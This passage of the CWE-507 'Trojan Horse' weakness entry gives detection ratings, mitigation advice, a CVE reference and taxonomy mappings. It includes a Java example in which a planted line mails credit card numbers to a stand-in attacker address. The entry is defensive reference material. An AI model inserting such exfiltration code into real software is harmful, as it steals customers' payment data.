1211
According to SOAR, the following detection techniques may be useful: Cost effective for partial
coverage: Manual Source Code Review (not inspections)
Effectiveness = SOAR Partial
Automated Static Analysis
According to SOAR, the following detection techniques may be useful: Cost effective for partial
coverage: Origin Analysis
Effectiveness = SOAR Partial
Potential Mitigations
Phase: Testing
Remove the malicious code and start an effort to ensure that no more malicious code exists. This
may require a detailed review of all code, as it is possible to hide a serious attack in only one or
two lines of code. These lines may be located almost anywhere in an application and may have
been intentionally obfuscated by the attacker.
Demonstrative Examples
Example 1:
In the example below, a malicous developer has injected code to send credit card numbers to the
developer's own email address.
Example Language: Java (Bad)
boolean authorizeCard(String ccn) {
// Authorize credit card.
...
mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
Observed Examples
Reference Description
CVE-2022-30877 A command history tool was shipped with a code-execution backdoor inserted
by a malicious party.
https://www.cve.org/CVERecord?id=CVE-2022-30877
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
Nature Type ID Name Page
MemberOf 904 SFP Primary Cluster: Malware 888 2387
MemberOf 1412 Comprehensive Categorization: Poor Coding Practices 1400 2538
Notes
Terminology
The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18]
to characterize a particular computer security threat; it has been redefined many times [4,18-20].
Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
Landwehr Malicious
Related Attack Patterns
CWE Version 4.14
CWE-507: Trojan Horse
CWE-507: Trojan Horse